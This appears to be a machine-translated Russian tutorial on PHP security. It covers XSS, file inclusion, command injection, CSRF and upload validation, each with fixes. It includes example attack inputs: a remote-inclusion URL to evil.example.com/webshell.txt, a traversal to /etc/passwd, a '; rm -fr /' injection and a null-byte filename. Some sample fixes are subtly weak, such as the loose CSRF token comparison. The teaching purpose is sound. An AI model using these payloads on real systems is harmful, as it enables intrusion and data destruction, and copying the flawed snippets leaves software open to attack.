PHP
Безопасность
Поиск…
Вступление
Поскольку на большинстве веб-сайтов работает PHP, безопасность приложений является важной темой для разработчиков PHP для защиты своего веб-сайта, данных и клиентов. В этом разделе рассматриваются лучшие методы безопасности в PHP, а также общие уязвимости и недостатки с примерами исправлений в PHP.
замечания
Смотрите также
Отчет об ошибках
По умолчанию PHP будет выводить ошибки , предупреждения и уведомления о сообщениях непосредственно на странице, если произойдет что-то неожиданное в скрипте. Это полезно для решения конкретных проблем со сценарием, но в то же время оно выводит информацию, которую вы не хотите, чтобы ваши пользователи знали.
Поэтому рекомендуется избегать отображения тех сообщений, которые будут раскрывать информацию о вашем сервере, например дерево каталогов, например, в производственных средах. В среде разработки или тестирования эти сообщения могут быть полезны для отображения в целях отладки.
Быстрое решение
Вы можете отключить их, чтобы сообщения вообще не отображались, однако это затрудняет отладку вашего сценария.
<?php
ini_set("display_errors", "0");
?>
Или изменить их непосредственно в php.ini .
display_errors = 0
Обработка ошибок
Лучшим вариантом было бы хранить эти сообщения об ошибках в месте, которое они более полезны, например, в базе данных:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
Этот метод будет регистрировать сообщения в базе данных, и если это не удастся выполнить файл, а не будет эхом прямо на страницу. Таким образом, вы можете отслеживать, что пользователи испытывают на вашем веб-сайте, и немедленно сообщить об этом, если что-то пойдет не так.
Межсайтовый скриптинг (XSS)
проблема
Межсайтовый скриптинг - это непреднамеренное выполнение удаленным кодом веб-клиентом. Любое веб-приложение может оказаться в XSS, если оно принимает входные данные от пользователя и выводит его непосредственно на веб-страницу. Если ввод включает HTML или JavaScript, удаленный код может быть выполнен, когда этот контент отображается веб-клиентом.
Например, если сторонняя сторона содержит файл JavaScript :
// http://example.com/runme.js
document.write("I'm running");
И приложение PHP напрямую выводит строку, переданную в нее:
<?php
echo '<div>' . $_GET['input'] . '</div>';
Если неконтролируемый параметр GET содержит <script src="http://example.com/runme.js"></script>
то вывод скрипта PHP будет:
<div><script src="http://example.com/runme.js"></script></div>
Будет запущен сторонний JavaScript, и пользователь увидит «Я запущен» на веб-странице.
Решение
Как правило, никогда не доверяйте вводам, поступающим от клиента. Каждое значение GET, POST и cookie может быть вообще чем угодно и поэтому должно быть проверено. При выводе любого из этих значений избегайте их, чтобы они не были оценены неожиданным образом.
Имейте в виду, что даже в самых простых приложениях данные можно перемещать, и будет сложно отслеживать все источники. Поэтому лучше всегда избегать выхода.
PHP предоставляет несколько способов избежать вывода в зависимости от контекста.
Функции фильтра
Функции фильтров PHP позволяют входным данным для скрипта php быть подвергнутым санитарной обработке или проверке многими способами . Они полезны при сохранении или выводе на вход клиента.
Кодирование HTML
htmlspecialchars
преобразует любые «специальные символы HTML» в свои кодировки HTML, то есть они не будут обрабатываться как стандартный HTML. Чтобы исправить наш предыдущий пример, используя этот метод:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Выпустил бы:
<div><script src="http://example.com/runme.js"></script></div>
Все внутри <div>
не будет интерпретироваться как тег JavaScript браузером, а вместо этого как простой текстовый узел. Пользователь будет безопасно видеть:
<script src="http://example.com/runme.js"></script>
Кодирование URL
При выводе динамически созданного URL-адреса PHP предоставляет функцию urlencode
для безопасного вывода допустимых URL-адресов. Так, например, если пользователь может вводить данные, которые становятся частью другого параметра GET:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
Любой вредоносный ввод будет преобразован в параметр кодированного URL.
Использование специализированных внешних библиотек или списков OWASP AntiSamy
Иногда вам нужно отправить HTML или другие входы кода. Вам необходимо будет сохранить список авторизованных слов (белый список) и неавторизованный (черный список).
Вы можете загружать стандартные списки, доступные на веб-сайте OWASP AntiSamy . Каждый список подходит для определенного вида взаимодействия (ebay api, tinyMCE и т. Д.). И это с открытым исходным кодом.
Существуют библиотеки, существующие для фильтрации HTML и предотвращения атак XSS для общего случая и выполнения как минимум, а также списков AntiSamy с очень простым использованием. Например, у вас есть очиститель HTML
Включение файлов
Включение удаленного файла
Включение удаленного файла (также известный как RFI) - это тип уязвимости, позволяющий злоумышленнику включать удаленный файл.
В этом примере вводится удаленный файл, содержащий вредоносный код:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
Включение локального файла
Включение локального файла (также известный как LFI) - это процесс включения файлов на сервер через веб-браузер.
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
Решение RFI и LFI:
Рекомендуется разрешать включение только файлов, которые вы одобрили, и ограничивать их только теми.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Ввод в эксплуатацию командной строки
проблема
Подобным образом, что SQL-инъекция позволяет злоумышленнику выполнять произвольные запросы в базе данных, инъекция командной строки позволяет кому-то запускать ненадежные системные команды на веб-сервере. С ненадежным сервером это даст атакующему полный контроль над системой.
Скажем, например, скрипт позволяет пользователю перечислить содержимое каталога на веб-сервере.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(В реальных приложениях для получения содержимого пути можно использовать встроенные функции или объекты PHP. Этот пример предназначен для простой демонстрации безопасности.)
Можно надеяться получить параметр path
аналогичный /tmp
. Но, поскольку любой вход разрешен, path
может быть ; rm -fr /
. Затем веб-сервер выполнит команду
ls; rm -fr /
и попытаться удалить все файлы из корневого каталога сервера.
Решение
Все аргументы команды должны быть экранированы с помощью escapeshellarg()
или escapeshellcmd()
. Это делает неиспользуемые аргументы. Для каждого параметра необходимо также проверить входное значение.
В простейшем случае мы можем обеспечить наш пример
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Следуя предыдущему примеру с попыткой удалить файлы, выполненная команда становится
ls '; rm -fr /'
И строка просто передается как параметр в ls
, а не завершает команду ls
и запускает rm
.
Следует отметить, что приведенный выше пример теперь защищен от ввода команд, но не от обхода каталога. Чтобы исправить это, нужно проверить, что нормализованный путь начинается с нужного подкаталога.
PHP предлагает множество функций для выполнения системных команд, в том числе exec
, passthru
, proc_open
, shell_exec
и system
. Все должны тщательно проверять свои входные данные и избегать их.
Утечка версии PHP
По умолчанию PHP расскажет миру, какую версию PHP вы используете, например
X-Powered-By: PHP/5.3.8
Чтобы исправить это, вы можете либо изменить php.ini:
expose_php = off
Или измените заголовок:
header("X-Powered-By: Magic");
Или, если вы предпочитаете метод htaccess:
Header unset X-Powered-By
Если какой-либо из вышеперечисленных методов не работает, есть также header_remove()
которая предоставляет вам возможность удалить заголовок:
header_remove('X-Powered-By');
Если злоумышленники знают, что вы используете PHP и версию PHP, которую вы используете, им легче использовать ваш сервер.
Разделительные теги
strip_tags
- очень мощная функция, если вы знаете, как ее использовать. В качестве метода предотвращения атак с межсайтовым сценарием существуют лучшие методы, такие как кодировка символов, но в некоторых случаях полезно использовать дескрипторы.
Основной пример
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Сырье
Hello, please remove the tags.
Разрешить теги
Предположим, что вы хотите разрешить определенный тег, но нет других тегов, тогда вы укажете его во втором параметре функции. Этот параметр является необязательным. В моем случае я хочу, чтобы <b>
передавался.
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
Сырье
<b>Hello, please remove the tags.</b>
Уведомление (ы)
HTML
комментарии и теги PHP
также лишены. Это жестко запрограммировано и не может быть изменено с помощью allowable_tags.
В PHP
5.3.4 и более поздних версиях самозакрывающиеся теги XHTML
игнорируются, и в allowable_tags должны использоваться теги, которые не являются самозакрывающимися. Например, чтобы оба <br>
и <br/>
, вы должны использовать:
<?php
strip_tags($input, '<br>');
?>
Подделка запросов на межсайтовый запрос
проблема
Cross-Site Request Forgery или CSRF
могут заставить конечного пользователя неосознанно создавать вредоносные запросы на веб-сервере. Этот вектор атаки можно использовать как в запросах POST, так и GET. Скажем, например, конечная точка URL /delete.php?accnt=12
удаляет учетную запись, переданную из параметра accnt
запроса GET. Теперь, если аутентифицированный пользователь столкнется со следующим скриптом в любом другом приложении
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
учетная запись будет удалена.
Решение
Общим решением этой проблемы является использование токенов CSRF . Точки CSRF встроены в запросы, так что веб-приложение может доверять тому, что запрос поступает из ожидаемого источника как часть обычного рабочего процесса приложения. Сначала пользователь выполняет некоторые действия, такие как просмотр формы, которая запускает создание уникального токена. Образец формы, реализующей это, может выглядеть так:
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
Затем токен может быть проверен сервером против сеанса пользователя после отправки формы для устранения вредоносных запросов.
Образец кода
Вот пример кода для базовой реализации:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Существует уже много библиотек и фреймворков, которые имеют собственную реализацию проверки CSRF. Хотя это простая реализация CSRF, вам нужно написать код для регенерации маркера CSRF динамически, чтобы предотвратить кражу и фиксацию маркеров CSRF.
Загрузка файлов
Если вы хотите, чтобы пользователи загружали файлы на ваш сервер, вам нужно сделать пару проверок безопасности, прежде чем переносить загруженный файл в свой веб-каталог.
Загруженные данные:
Этот массив содержит данные, предоставленные пользователем, и не содержит информации о самом файле. Хотя обычно эти данные генерируются браузером, вы можете легко отправить запрос по почте в ту же форму с помощью программного обеспечения.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
- проверить все его аспекты. -
type
- Никогда не используйте эти данные. Он может быть получен с использованием PHP-функций. -
size
- безопасный для использования. -
tmp_name
- безопасно использовать.
Использование имени файла
Обычно операционная система не позволяет указать конкретные символы в имени файла, но путем подмены запроса, который вы можете добавить, что позволяет совершать неожиданные события. Например, давайте назовем файл:
../script.php%00.png
Взгляните на это имя файла, и вы должны заметить пару вещей.
- Первое, что нужно заметить, это
../
, полностью незаконно в имени файла и в то же время отлично, если вы перемещаете файл из одного каталога в другой, что мы будем делать правильно? - Теперь вы можете подумать, что вы правильно проверяете расширения файлов в своем скрипте, но этот эксплоит основан на расшифровке url, переводя
%00
вnull
символ, в основном говоря в операционной системе, эта строка заканчивается здесь, удаляя.png
с имени файла ,
Итак, теперь я загрузил script.php
в другой каталог, минуя простые проверки для расширений файлов. Он также обходит файлы .htaccess
запрещающие выполнение сценариев из вашего каталога загрузки.
Как безопасно получать имя файла и расширение
Вы можете использовать pathinfo()
для экстраполяции имени и расширения безопасным образом, но сначала нам нужно заменить нежелательные символы в имени файла:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
Хотя теперь у нас есть имя файла и расширение, которое можно использовать для хранения, я по-прежнему предпочитаю хранить эту информацию в базе данных и давать этому файлу сгенерированное имя, например, md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
Это позволит решить проблему дублирования имен файлов и непредвиденных эксплойтов в имени файла. Это также заставило бы злоумышленника угадать, где этот файл был сохранен, поскольку он или она не могут специально настроить его для выполнения.
Mime-type validation
Проверка расширения файла, чтобы определить, какой файл он недостаточно, поскольку файл может иметь имя image.png
но вполне может содержать скрипт php. Проверяя mime-тип загруженного файла на расширение файла, вы можете проверить, содержит ли файл имя, на которое ссылается его имя.
Вы даже можете сделать еще один шаг для проверки изображений, и это фактически открывает их:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
Вы можете получить mime-тип с помощью встроенной функции или класса .
Белый список ваших загрузок
Самое главное, вы должны указывать белые списки файлов и типы mime в зависимости от каждой формы.
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));